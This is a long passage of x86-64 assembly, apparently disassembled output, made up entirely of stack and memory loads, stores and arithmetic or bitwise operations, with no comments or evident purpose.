movsx ecx, byte [rsp + 0x41]
add eax, ecx
mov byte [rsp + 0x5e], al
mov eax, dword [rsp + 0x3bf8]
mov dword [rsp + 0x3c40], eax
mov rax, qword [rsp + 0x6d88]
mov rcx, qword [rsp + 0x6d48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6ed8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6d00]
mov qword [rcx], rax
lea rax, [rsp + 0x6f68]
mov qword [rsp + 0x70f8], rax
movzx eax, word [rsp + 0xc24]
mov rcx, qword [rsp + 0x6f80]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14017a4f8], ax
movsx eax, byte [rsp + 0x5e]
movsx ecx, byte [0x14017900d]
and eax, ecx
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x6ce0]
movzx eax, word [rax]
mov word [rsp + 0xc90], ax
movzx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x6f58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6fe8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6e18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6ce0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc90], ax
mov rax, qword [rsp + 0x7078]
mov qword [rsp + 0x7100], rax
mov rax, qword [rsp + 0x6ac0]
mov ecx, dword [rsp + 0x3b58]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c38], eax
mov rax, qword [rsp + 0x6c68]
mov eax, dword [rax]
mov dword [rsp + 0x3c44], eax
mov rax, qword [rsp + 0x6ad8]
mov rcx, qword [rsp + 0x6e28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6fd8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc74]
movzx ecx, word [rsp + 0xc4c]
xor eax, ecx
mov word [0x14017903c], ax
movsx eax, byte [rsp + 0x41]
movsx ecx, byte [rsp + 0x44]
shl eax, cl
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x7000]
movzx eax, word [rax]
mov word [rsp + 0xc94], ax
movzx eax, byte [rsp + 0x4c]
mov rcx, qword [rsp + 0x6fd0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ef8]
movzx eax, word [rax]
mov word [rsp + 0xc98], ax
mov eax, dword [rsp + 0x3c20]
mov rcx, qword [rsp + 0x7098]
mov qword [rsp + 0x7108], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7108]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3c30], eax
mov rax, qword [rsp + 0x6cf0]
mov rcx, qword [rsp + 0x6e28]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6ff8]
mov qword [rcx], rax
lea rax, [rsp + 0x6a50]
mov qword [rsp + 0x7110], rax
mov rax, qword [rsp + 0x6d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bfc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c28], eax
movsx eax, word [rsp + 0xc64]
movsx ecx, word [rsp + 0xc70]
sub eax, ecx
mov rcx, qword [0x14017a560]
mov word [rcx], ax
lea rax, [0x14017900b]
mov qword [rsp + 0x7118], rax
movsx eax, word [rsp + 0xc44]
mov rcx, qword [rsp + 0x6c08]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc64], ax
movzx eax, byte [rsp + 0x5f]
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x6fa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ab0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x6f60]
mov rcx, qword [rsp + 0x6d88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6ed8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3c40]
mov dword [rsp + 0x3c48], eax
mov rax, qword [rsp + 0x6f30]
mov rcx, qword [rsp + 0x7100]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6c50], rax
mov rax, qword [rsp + 0x6b58]
mov rax, qword [rax]
mov qword [rsp + 0x7120], rax
lea rax, [rsp + 0x5b]
mov qword [0x14017a588], rax
mov rax, qword [rsp + 0x6fe8]
movzx eax, byte [rax]
movzx ecx, byte [0x14017900b]
sub eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
movsx eax, word [rsp + 0xc54]
mov rcx, qword [rsp + 0x6b10]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6d28]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ef8]
movzx eax, word [rax]
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0x6fa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x53]
add eax, ecx
mov rcx, qword [rsp + 0x6b60]
mov byte [rcx], al
mov rax, qword [rsp + 0x6be8]
mov qword [rsp + 0x7128], rax
mov rax, qword [rsp + 0x6ad8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7050]
shl rax, cl
mov rcx, qword [rsp + 0x6cc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a28]
mov ecx, dword [rsp + 0x3b34]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6a28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6c68]
mov eax, dword [rax]
mov dword [rsp + 0x3c4c], eax
lea rax, [rsp + 0x55]
mov qword [0x14017a590], rax
movzx eax, word [rsp + 0xc8c]
movzx ecx, word [rsp + 0xc98]
sar eax, cl
mov rcx, qword [rsp + 0x6f70]
mov word [rcx], ax
mov rax, qword [rsp + 0x6dc8]
movzx eax, word [rax]
mov word [rsp + 0xca0], ax
movzx eax, word [rsp + 0xc10]
mov rcx, qword [rsp + 0x6ef8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6dd8]
mov word [rcx], ax
lea rax, [rsp + 0x59]
mov qword [rsp + 0x7130], rax
mov eax, dword [rsp + 0x3c44]
mov ecx, dword [section..data]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ac0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b4c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6f78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov qword [rsp + 0x7138], rax
mov rax, qword [rsp + 0x70d0]
mov rcx, qword [rsp + 0x6c30]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6c18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6eb8]
movzx eax, word [rax]
mov word [rsp + 0xca4], ax
mov rax, qword [rsp + 0x6d18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6fe8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017900b], al
mov rax, qword [rsp + 0x6c08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
add eax, ecx
mov word [rsp + 0xc80], ax
movsx eax, byte [rsp + 0x5d]
movsx ecx, byte [rsp + 0x4a]
add eax, ecx
mov byte [rsp + 0x57], al
mov rax, qword [rsp + 0x6d18]
movzx eax, byte [rax]
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x6d10]
mov ecx, dword [rsp + 0x3bf8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3b4c], eax
lea rax, [rsp + 0x6a70]
mov qword [rsp + 0x7140], rax
mov rax, qword [rsp + 0x6ed8]
mov ecx, dword [rsp + 0x3b14]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3c14], eax
mov rax, qword [rsp + 0x7138]
mov rcx, qword [rsp + 0x6f90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7120], rax
lea rax, [rsp + 0xc3c]
mov qword [rsp + 0x7148], rax
mov rax, qword [rsp + 0x6f18]
movzx eax, word [rax]
movzx ecx, word [0x14017a4f8]
xor eax, ecx
mov word [0x140179030], ax
movsx eax, word [rsp + 0xc18]
mov rcx, qword [rsp + 0x6b68]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
movzx eax, byte [rsp + 0x4c]
mov byte [rsp + 0x63], al
movsx eax, byte [rsp + 0x5c]
mov rcx, qword [rsp + 0x6a58]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x5b], al
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7050]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ae8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3be0]
mov dword [rsp + 0x3c50], eax
mov rax, qword [rsp + 0x6c18]
mov rcx, qword [rsp + 0x6ee0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x70a0], rax
lea rax, [rsp + 0x3be4]
mov qword [rsp + 0x7150], rax
movzx eax, word [rsp + 0xc58]
movzx ecx, word [rsp + 0xc8c]
imul eax, ecx
mov rcx, qword [rsp + 0x70e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ce8]
movzx eax, word [rax]
mov word [0x14017a598], ax
lea rax, [rsp + 0xc94]
mov qword [rsp + 0x7158], rax
movsx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x6cd0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6ca8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7060]
movsx eax, byte [rax]
movsx ecx, byte [0x14017900e]
sub eax, ecx
mov byte [rsp + 0x59], al
lea rax, [rsp + 0x6db8]
mov qword [rsp + 0x7160], rax
mov rax, qword [rsp + 0x6c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bf8], eax
lea rax, [rsp + 0x70c8]
mov qword [rsp + 0x7168], rax
mov rax, qword [0x14017a4d8]
mov rcx, qword [rsp + 0x6d48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6cf8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x45]
mov rcx, qword [rsp + 0x6fd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6d68]
mov byte [rcx], al
movzx eax, word [rsp + 0xc4c]
movzx ecx, word [0x14017a4f8]
add eax, ecx
mov word [0x140179020], ax
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x64], al
movsx eax, word [rsp + 0xc3c]
movsx ecx, word [rsp + 0xc90]
add eax, ecx
mov word [rsp + 0xc48], ax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x7170], rax
mov rax, qword [rsp + 0x6d90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ef8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6c90]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x6c00]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6f40], rax
mov rax, qword [rsp + 0x6bb0]
mov qword [rsp + 0x7178], rax
mov rax, qword [rsp + 0x6dc0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3c40]
sar eax, cl
mov rcx, qword [rsp + 0x6cd8]
mov dword [rcx], eax
lea rax, [rsp + 0x3c34]
mov qword [rsp + 0x7180], rax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7080]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140179022], al
movsx eax, byte [rsp + 0x5e]
movsx ecx, byte [rsp + 0x49]
xor eax, ecx
mov rcx, qword [rsp + 0x7018]
mov byte [rcx], al
movzx eax, word [rsp + 0xc28]
mov word [rsp + 0xca8], ax
mov rax, qword [rsp + 0x6d90]
movzx eax, word [rax]
movzx ecx, word [0x140179030]
or eax, ecx
mov rcx, qword [rsp + 0x6f28]
mov word [rcx], ax
movzx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x42], al
mov eax, dword [rsp + 0x3c4c]
mov dword [rsp + 0x3c54], eax
mov rax, qword [rsp + 0x6d08]
mov rcx, qword [rsp + 0x6db8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d80], rax
lea rax, [rsp + 0x3c40]
mov qword [rsp + 0x7188], rax
mov rax, qword [rsp + 0x6d20]
mov rcx, qword [rsp + 0x6e20]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6dd0]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc60]
movsx ecx, word [rsp + 0xc5c]
add eax, ecx
mov word [0x14017901c], ax
mov rax, qword [rsp + 0x6b30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc0c]
sub eax, ecx
mov word [rsp + 0xc7c], ax
lea rax, [rsp + 0x61]
mov qword [rsp + 0x7190], rax
mov rax, qword [rsp + 0x6f00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7130]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x57], al
mov rax, qword [rsp + 0x6d30]
movzx eax, byte [rax]
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0x6c68]
mov rcx, qword [rsp + 0x6c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x70e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6cb0]
mov rcx, qword [rsp + 0x70f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6e20], rax
lea rax, [rsp + 0x6a48]
mov qword [rsp + 0x7198], rax
mov rax, qword [rsp + 0x6f78]
mov ecx, dword [rsp + 0x3c08]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3b2c], eax
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [rsp + 0xc98]
add eax, ecx
mov word [0x140179040], ax
mov rax, qword [rsp + 0x6e88]
movzx eax, byte [rax]
mov byte [rsp + 0x66], al
movsx eax, word [rsp + 0xc34]
movsx ecx, word [0x140179034]
sub eax, ecx
mov rcx, qword [rsp + 0x7000]
mov word [rcx], ax
mov rax, qword [rsp + 0x6c38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xca0]
or eax, ecx
mov word [rsp + 0xc50], ax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x71a0], rax
mov rax, qword [rsp + 0x6cb0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6de8]
shl rax, cl
mov qword [rsp + 0x6bf8], rax
lea rax, [rsp + 0x3c14]
mov qword [rsp + 0x71a8], rax
mov rax, qword [rsp + 0x6ff8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6d58]
shr rax, cl
mov qword [rsp + 0x6ef0], rax
mov eax, dword [rsp + 0x3c18]
mov dword [rsp + 0x3c58], eax
movsx eax, byte [0x14017a4d4]
movsx ecx, byte [rsp + 0x44]
xor eax, ecx
mov byte [0x14017900e], al
mov rax, qword [rsp + 0x6f28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ec8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x6f18]
mov word [rcx], ax
movsx eax, word [rsp + 0xc18]
movsx ecx, word [rsp + 0xc60]
and eax, ecx
mov rcx, qword [rsp + 0x7030]
mov word [rcx], ax
lea rax, [rsp + 0x4b]
mov qword [rsp + 0x71b0], rax
mov rax, qword [rsp + 0x6d30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6f00]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0x6da8]
mov qword [rsp + 0x71b8], rax
mov eax, dword [rsp + 0x3be4]
mov ecx, dword [rsp + 0x3c44]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6e80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ef0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6db8], rax
mov rax, qword [rsp + 0x6d10]
mov eax, dword [rax]
mov dword [rsp + 0x3c5c], eax
movzx eax, word [rsp + 0xc84]
mov word [0x14017a59c], ax
mov rax, qword [rsp + 0x6e30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc6c]
imul eax, ecx
mov rcx, qword [rsp + 0x6f28]
mov word [rcx], ax
mov rax, qword [rsp + 0x70c0]
movzx eax, byte [rax]
mov byte [rsp + 0x67], al
movzx eax, word [rsp + 0xc98]
mov rcx, qword [rsp + 0x7048]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x70b8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x56]
mov rcx, qword [rsp + 0x6f88]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x6b58]
mov rax, qword [rax]
mov qword [rsp + 0x71c0], rax
mov rax, qword [rsp + 0x6c18]
mov rcx, qword [rsp + 0x6d20]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6e38], rax
mov eax, dword [rsp + 0x3b68]
mov dword [rsp + 0x3c60], eax
mov rax, qword [rsp + 0x6da0]
mov rcx, qword [rsp + 0x6f08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c40], eax
movsx eax, word [rsp + 0xc20]
movsx ecx, word [rsp + 0xca0]
add eax, ecx
mov word [0x140179044], ax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
xor eax, ecx
mov word [rsp + 0xc4c], ax
movzx eax, byte [rsp + 0x4c]
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x6b60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5e]
sar eax, cl
mov rcx, qword [rsp + 0x6f00]
mov byte [rcx], al
mov rax, qword [rsp + 0x6dc8]
movzx eax, word [rax]
mov word [rsp + 0xcac], ax
mov rax, qword [rsp + 0x6da0]
mov rcx, qword [rsp + 0x6ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3c10], eax
mov rax, qword [rsp + 0x6d60]
mov eax, dword [rax]
mov dword [rsp + 0x3c64], eax
mov rax, qword [rsp + 0x71c0]
movzx ecx, al
mov rax, qword [rsp + 0x7120]
shl rax, cl
mov rcx, qword [rsp + 0x6cc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x70c8]
mov rcx, qword [rsp + 0x70a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x71b8], rax
movzx eax, word [rsp + 0xc1c]
mov rcx, qword [rsp + 0x6f28]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14017903c], ax
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0x69], al
movsx eax, word [rsp + 0xc88]
mov rcx, qword [rsp + 0x6b10]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6d28]
mov word [rcx], ax
movzx eax, byte [rsp + 0x44]
mov byte [rsp + 0x6a], al
mov rax, qword [rsp + 0x6d18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x64]
add eax, ecx
mov rcx, qword [rsp + 0x7010]
mov byte [rcx], al
mov rax, qword [rsp + 0x7120]
mov rcx, qword [0x140179010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6e28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7100]
mov qword [rsp + 0x71c8], rax
mov rax, qword [rsp + 0x7098]
mov rcx, qword [rsp + 0x6e98]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6d48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6f78]
mov eax, dword [rax]
mov dword [rsp + 0x3c68], eax
movzx eax, word [rsp + 0xc6c]
movzx ecx, word [rsp + 0xc24]
sub eax, ecx
mov word [rsp + 0xc14], ax
movsx eax, word [rsp + 0xc80]
mov rcx, qword [rsp + 0x6e18]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a578]
mov word [rcx], ax
movsx eax, byte [rsp + 0x4a]
mov rcx, qword [rsp + 0x7170]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x53], al
lea rax, [rsp + 0x68]
mov qword [rsp + 0x71d0], rax
movzx eax, word [rsp + 0xca4]
mov rcx, qword [0x14017a530]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
mov eax, dword [rsp + 0x3c18]
mov dword [rsp + 0x3c6c], eax
mov rax, qword [rsp + 0x6d70]
movzx ecx, al
mov rax, qword [rsp + 0x6ee0]
sar rax, cl
mov qword [rsp + 0x6e58], rax
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov qword [rsp + 0x71d8], rax
mov rax, qword [rsp + 0x6c58]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3bf0]
shl eax, cl
mov rcx, qword [rsp + 0x6eb0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc64]
movsx ecx, word [rsp + 0xc18]
xor eax, ecx
mov rcx, qword [rsp + 0x7148]
mov word [rcx], ax
lea rax, [rsp + 0x66]
mov qword [0x14017a5a0], rax
mov rax, qword [rsp + 0x6d30]
movzx eax, byte [rax]
mov byte [rsp + 0x6b], al
movsx eax, byte [rsp + 0x5a]
movsx ecx, byte [rsp + 0x5c]
or eax, ecx
mov rcx, qword [rsp + 0x7060]
mov byte [rcx], al
lea rax, [rsp + 0xc50]
mov qword [rsp + 0x71e0], rax
mov rax, qword [rsp + 0x6f08]
mov rcx, qword [rsp + 0x7040]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6f60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bc8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bf4], eax
lea rax, [rsp + 0x6de8]
mov qword [rsp + 0x71e8], rax
mov rax, qword [rsp + 0x6ae8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7090]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6db8], rax
lea rax, [rsp + 0xc30]
mov qword [rsp + 0x71f0], rax
movsx eax, word [rsp + 0xc78]
movsx ecx, word [rsp + 0xc84]
sub eax, ecx
mov rcx, qword [0x14017a560]
mov word [rcx], ax
mov rax, qword [0x14017a500]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca4]
add eax, ecx
mov rcx, qword [rsp + 0x6dd8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x40]
movzx ecx, byte [rsp + 0x64]
add eax, ecx
mov rcx, qword [rsp + 0x6fd0]
mov byte [rcx], al
lea rax, [rsp + 0x57]
mov qword [rsp + 0x71f8], rax
mov rax, qword [rsp + 0x6c18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x71c8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7168]
mov qword [rcx], rax
lea rax, [rsp + 0x3c4c]
mov qword [rsp + 0x7200], rax
mov rax, qword [rsp + 0x6fb0]
mov rcx, qword [rsp + 0x71c0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7050], rax
mov rax, qword [rsp + 0x6cd8]
mov ecx, dword [rsp + 0x3c28]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c0c], eax
lea rax, [rsp + 0xc30]
mov qword [rsp + 0x7208], rax
mov rax, qword [rsp + 0x7080]
movzx eax, byte [rax]
mov rcx, qword [0x14017a4f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140179023], al
mov rax, qword [rsp + 0x71a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6e70]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x5d], al
mov rax, qword [rsp + 0x6b40]
movzx eax, word [rax]
mov word [rsp + 0xcb0], ax
mov rax, qword [rsp + 0x6c48]
movzx eax, byte [rax]
movzx ecx, byte [0x140179023]
sar eax, cl
mov rcx, qword [rsp + 0x6db0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7070]
movzx eax, word [rax]
mov word [rsp + 0xcb4], ax
mov rax, qword [rsp + 0x6d10]
mov ecx, dword [rsp + 0x3be0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3c48], eax
mov rax, qword [rsp + 0x6f60]
mov rcx, qword [rsp + 0x7200]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3c60], eax
lea rax, [rsp + 0x6e58]
mov qword [rsp + 0x7210], rax
mov rax, qword [rsp + 0x6cf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7120]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7068], rax
mov rax, qword [rsp + 0x6d30]
movsx eax, byte [rax]
mov rcx, qword [0x14017a540]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a510]
mov byte [rcx], al
mov rax, qword [rsp + 0x6d90]
movzx eax, word [rax]
mov word [rsp + 0xcb8], ax
movzx eax, byte [rsp + 0x66]
mov rcx, qword [rsp + 0x7028]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x71b0]
mov byte [rcx], al
movsx eax, word [rsp + 0xc08]
movsx ecx, word [rsp + 0xcb4]
add eax, ecx
mov rcx, qword [rsp + 0x6c08]
mov word [rcx], ax
mov rax, qword [rsp + 0x70c0]
movzx eax, byte [rax]
mov byte [rsp + 0x6c], al
mov eax, dword [rsp + 0x3c48]
mov ecx, dword [rsp + 0x3b58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c68], eax
lea rax, [rsp + 0x6d70]
mov qword [rsp + 0x7218], rax
mov eax, dword [rsp + 0x3bc8]
mov ecx, dword [rsp + 0x3bec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bb4], eax
mov rax, qword [rsp + 0x6ed0]
mov rcx, qword [rsp + 0x7120]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7090], rax
mov rax, qword [rsp + 0x6a10]
movzx eax, byte [rax]
mov byte [0x14017a4e3], al
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x7220], rax
mov rax, qword [rsp + 0x6ef8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
lea rax, [rsp + 0xc30]
mov qword [rsp + 0x7228], rax
movsx eax, byte [rsp + 0x48]
mov rcx, qword [rsp + 0x6b60]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
lea rax, [rsp + 0x3bfc]
mov qword [rsp + 0x7230], rax
mov rax, qword [rsp + 0x7180]
mov rcx, qword [rsp + 0x6d88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c60], eax
mov rax, qword [rsp + 0x6fb0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x69b0]
shr rax, cl
mov rcx, qword [rsp + 0x6c10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7178]
mov qword [rsp + 0x7238], rax
movzx eax, word [rsp + 0xc1c]
movzx ecx, word [0x14017902c]
xor eax, ecx
mov word [0x140179048], ax
mov rax, qword [rsp + 0x6fa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x71a0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x71b0]
movzx eax, byte [rax]
mov byte [rsp + 0x6d], al
movsx eax, word [rsp + 0xc48]
mov rcx, qword [rsp + 0x70f0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x70d8]
mov word [rcx], ax
movsx eax, word [rsp + 0xc3c]
mov rcx, qword [rsp + 0x7030]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc88], ax
mov rax, qword [rsp + 0x6cf8]
mov eax, dword [rax]
mov dword [rsp + 0x3c70], eax
mov rax, qword [rsp + 0x7188]
mov rcx, qword [rsp + 0x6c40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6ac0]
mov dword [rcx], eax
lea rax, [rsp + 0x7068]
mov qword [rsp + 0x7240], rax
mov rax, qword [rsp + 0x7218]
mov rcx, qword [rsp + 0x6aa0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6c18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6ec0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5d]
sub eax, ecx
mov byte [0x14017900e], al
mov rax, qword [rsp + 0x6c28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4f]
add eax, ecx
mov byte [rsp + 0x47], al
lea rax, [rsp + 0xcb8]
mov qword [rsp + 0x7248], rax
